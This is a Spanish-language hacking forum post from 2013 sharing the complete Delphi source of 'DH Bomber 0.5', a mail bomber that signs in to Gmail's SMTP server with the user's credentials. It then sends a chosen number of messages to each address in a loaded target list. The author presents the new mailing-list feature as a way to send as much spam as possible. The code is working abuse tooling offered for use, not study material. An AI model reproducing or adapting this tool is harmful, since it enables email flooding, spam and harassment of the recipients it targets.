comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] DH Bomber 0.5

  • 0 Respuestas
  • 1551 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Diciembre 13, 2013, 12:19:55 am »
Un simple mail bomber hecho en delphi , lo nuevo de esta version es la posibilidad de usar un mailist , para poder mandar spam a mas no poder xDD.

Una imagen :



El codigo.

Código: Delphi
  1. // DH Bomber 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dh;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, ComCtrls, sStatusBar, sPageControl, sSkinManager, StdCtrls, sButton,
  11.   sMemo, sEdit, sLabel, sGroupBox, Menus, MPlayer, ExtCtrls, jpeg, IdIOHandler,
  12.   IdIOHandlerSocket,
  13.   IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  14.   IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  15.   IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile, sListBox,
  16.   acPNG;
  17.  
  18. type
  19.   TForm1 = class(TForm)
  20.     sSkinManager1: TsSkinManager;
  21.     sStatusBar1: TsStatusBar;
  22.     sPageControl1: TsPageControl;
  23.     sTabSheet1: TsTabSheet;
  24.     sTabSheet2: TsTabSheet;
  25.     sTabSheet3: TsTabSheet;
  26.     sTabSheet4: TsTabSheet;
  27.     sTabSheet5: TsTabSheet;
  28.     sTabSheet6: TsTabSheet;
  29.     sGroupBox1: TsGroupBox;
  30.     sLabel1: TsLabel;
  31.     sLabel2: TsLabel;
  32.     sEdit1: TsEdit;
  33.     sEdit2: TsEdit;
  34.     sGroupBox2: TsGroupBox;
  35.     sLabel5: TsLabel;
  36.     sLabel6: TsLabel;
  37.     sEdit5: TsEdit;
  38.     sEdit6: TsEdit;
  39.     sGroupBox3: TsGroupBox;
  40.     sMemo1: TsMemo;
  41.     sButton1: TsButton;
  42.     MediaPlayer1: TMediaPlayer;
  43.     sLabel3: TsLabel;
  44.     sEdit3: TsEdit;
  45.     Image1: TImage;
  46.     PopupMenu1: TPopupMenu;
  47.     N2: TMenuItem;
  48.     S2: TMenuItem;
  49.     sGroupBox4: TsGroupBox;
  50.     sMemo2: TsMemo;
  51.     sGroupBox5: TsGroupBox;
  52.     sListBox1: TsListBox;
  53.     sGroupBox6: TsGroupBox;
  54.     Image2: TImage;
  55.     sLabel7: TsLabel;
  56.     PopupMenu2: TPopupMenu;
  57.     L1: TMenuItem;
  58.     A1: TMenuItem;
  59.     C1: TMenuItem;
  60.     OpenDialog1: TOpenDialog;
  61.     sLabel4: TsLabel;
  62.     procedure FormCreate(Sender: TObject);
  63.     procedure N2Click(Sender: TObject);
  64.     procedure S2Click(Sender: TObject);
  65.  
  66.     procedure sButton1Click(Sender: TObject);
  67.     procedure C1Click(Sender: TObject);
  68.     procedure L1Click(Sender: TObject);
  69.  
  70.     procedure A1Click(Sender: TObject);
  71.   private
  72.     { Private declarations }
  73.   public
  74.     { Public declarations }
  75.   end;
  76.  
  77. var
  78.   Form1: TForm1;
  79.   themenow: Boolean;
  80.  
  81. implementation
  82.  
  83. {$R *.dfm}
  84. // Functions
  85.  
  86. procedure enviate_esta(username, password, toto, subject, body: string);
  87. var
  88.   data: TIdMessage;
  89.   mensaje: TIdSMTP;
  90.  
  91. begin
  92.  
  93.   mensaje := TIdSMTP.Create(nil);
  94.  
  95.   data := TIdMessage.Create(nil);
  96.   data.From.Address := username;
  97.   data.Recipients.EMailAddresses := toto;
  98.   data.subject := subject;
  99.   data.body.Text := body;
  100.  
  101.   mensaje.Host := 'smtp.gmail.com';
  102.   mensaje.Port := 587;
  103.   mensaje.username := username;
  104.   mensaje.password := password;
  105.  
  106.   mensaje.Connect;
  107.   mensaje.Send(data);
  108.   mensaje.Disconnect;
  109.  
  110.   mensaje.Free;
  111.   data.Free;
  112.  
  113. end;
  114.  
  115. //
  116.  
  117. procedure TForm1.A1Click(Sender: TObject);
  118. var
  119.  
  120.   archivo: TextFile;
  121.   lineas: String;
  122.  
  123. begin
  124.  
  125.   OpenDialog1.InitialDir := GetCurrentDir;
  126.  
  127.   if OpenDialog1.Execute then
  128.   begin
  129.     AssignFile(archivo, OpenDialog1.Filename);
  130.     Reset(archivo);
  131.  
  132.     while not EOF(archivo) do
  133.     begin
  134.       ReadLn(archivo, lineas);
  135.       sListBox1.Items.Add(lineas);
  136.     end;
  137.  
  138.   end;
  139.  
  140. end;
  141.  
  142. procedure TForm1.C1Click(Sender: TObject);
  143. begin
  144.   sListBox1.Clear;
  145. end;
  146.  
  147. procedure TForm1.FormCreate(Sender: TObject);
  148. begin
  149.  
  150.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  151.   sSkinManager1.SkinName := 'deep';
  152.   sSkinManager1.Active := True;
  153.  
  154.   MediaPlayer1.Filename := 'data/theme.mp3';
  155.   MediaPlayer1.Open;
  156.   themenow := True;
  157.   MediaPlayer1.Play;
  158.   MediaPlayer1.Notify := True;
  159.  
  160. end;
  161.  
  162. procedure TForm1.L1Click(Sender: TObject);
  163. var
  164.   mail: string;
  165. begin
  166.   mail := InputBox('DH Bomber 0.5', 'Mail', '');
  167.   if not(mail = '') then
  168.   begin
  169.     sListBox1.Items.Add(mail);
  170.   end;
  171. end;
  172.  
  173. procedure TForm1.N2Click(Sender: TObject);
  174. begin
  175.   themenow := True;
  176.   MediaPlayer1.Play;
  177.   MediaPlayer1.Notify := True;
  178. end;
  179.  
  180. procedure TForm1.S2Click(Sender: TObject);
  181. begin
  182.   themenow := false;
  183.   MediaPlayer1.Stop;
  184.   MediaPlayer1.Notify := True;
  185. end;
  186.  
  187. procedure TForm1.sButton1Click(Sender: TObject);
  188. var
  189.   i: integer;
  190.   i2: integer;
  191.   count: integer;
  192.   idasunto: string;
  193.  
  194. begin
  195.  
  196.   sMemo2.Clear;
  197.  
  198.   for i2 := sListBox1.Items.count - 1 downto 0 do
  199.   begin
  200.  
  201.     Sleep(StrToInt(sEdit3.Text) * 1000);
  202.  
  203.     count := StrToInt(sEdit5.Text);
  204.  
  205.     For i := 1 to count do
  206.     begin
  207.  
  208.       if count > 1 then
  209.       begin
  210.         idasunto := '_' + IntToStr(i);
  211.       end;
  212.  
  213.       try
  214.         begin
  215.  
  216.           sStatusBar1.Panels[0].Text := '[+] Target : ' + sListBox1.Items[i2]
  217.             + ' ' + '[+] Message Number ' + IntToStr(i)
  218.             + ' : Sending ' + ' ...';
  219.           Form1.sStatusBar1.Update;
  220.  
  221.           enviate_esta(sEdit1.Text, sEdit2.Text, sListBox1.Items[i2],
  222.             sEdit6.Text + idasunto, sMemo1.Text);
  223.  
  224.           sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
  225.               '[+] Message Number ' + IntToStr(i) + ' : OK ');
  226.  
  227.         end;
  228.       except
  229.         begin
  230.           sStatusBar1.Panels[0].Text :=
  231.             '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';
  232.  
  233.           sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
  234.               '[+] Message Number ' + IntToStr(i) + ' : FAIL ');
  235.  
  236.           Form1.sStatusBar1.Update;
  237.         end;
  238.  
  239.       end;
  240.  
  241.     end;
  242.  
  243.   end;
  244.  
  245.   sStatusBar1.Panels[0].Text := '[+] Finished';
  246.   Form1.sStatusBar1.Update;
  247.  
  248. end;
  249.  
  250. end.
  251.  
  252. // The End ?
  253.  

Si lo quieren bajar lo pueden hacer de No tienes permisos para ver links. Registrate o Entra con tu cuenta.

 

¿Te gustó el post? COMPARTILO!



[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1982
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3126
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3254
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
[Delphi] Creacion de un Troyano de conexion inversa

Iniciado por BigBear

Respuestas: 4
Vistas: 3333
Último mensaje Mayo 05, 2017, 09:10:55 am
por _inicio_cerrarsesión
[Delphi] Creacion de un Server Builder con recursos

Iniciado por BigBear

Respuestas: 1
Vistas: 1410
Último mensaje Marzo 09, 2015, 07:56:20 pm
por Flemon